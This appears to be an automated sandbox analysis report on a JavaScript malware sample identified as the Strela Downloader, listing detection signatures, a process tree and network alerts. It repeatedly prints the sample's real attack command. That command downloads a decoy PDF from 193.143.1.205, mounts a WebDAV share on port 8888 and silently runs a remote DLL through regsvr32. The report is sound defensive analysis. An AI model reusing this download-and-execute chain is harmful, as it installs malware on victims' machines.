Edit tour

Windows Analysis Report
11234261403012723904.js

Overview

General Information

Sample name:	11234261403012723904.js
Analysis ID:	1588807
MD5:	d6a689375be8005a381db0fd1e7d7334
SHA1:	8cb0fb8a48636784cb06d608f65b5ab61992609a
SHA256:	63457d25981efd6a9dcc99aec53a0d8f24ab3237c62cd4116be0ad2dbcebbfda
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7300 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11234261403012723904.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7352 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7360 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7396 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7600 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7808 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7988 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1544,i,4828611498505330014,18356012295876335085,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7616 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7644 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7872 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7300	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7352, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7396, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7352, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7396, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11234261403012723904.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11234261403012723904.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11234261403012723904.js", ProcessId: 7300, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7644, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11234261403012723904.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7300, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll, ProcessId: 7352, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11234261403012723904.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7300, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll, ProcessId: 7352, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11234261403012723904.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7300, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll, ProcessId: 7352, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11234261403012723904.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7300, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll, ProcessId: 7352, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11234261403012723904.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7300, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll, ProcessId: 7352, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11234261403012723904.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11234261403012723904.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11234261403012723904.js", ProcessId: 7300, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7352, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7396, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7616, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7644, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7872, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7616, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7644, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11234261403012723904.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7300, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll, ProcessId: 7352, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:45:10.483379+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:45:13.286379+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:45:10.483379+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 11234261403012723904.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 11234261403012723904.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.4:49730 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:45:10 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
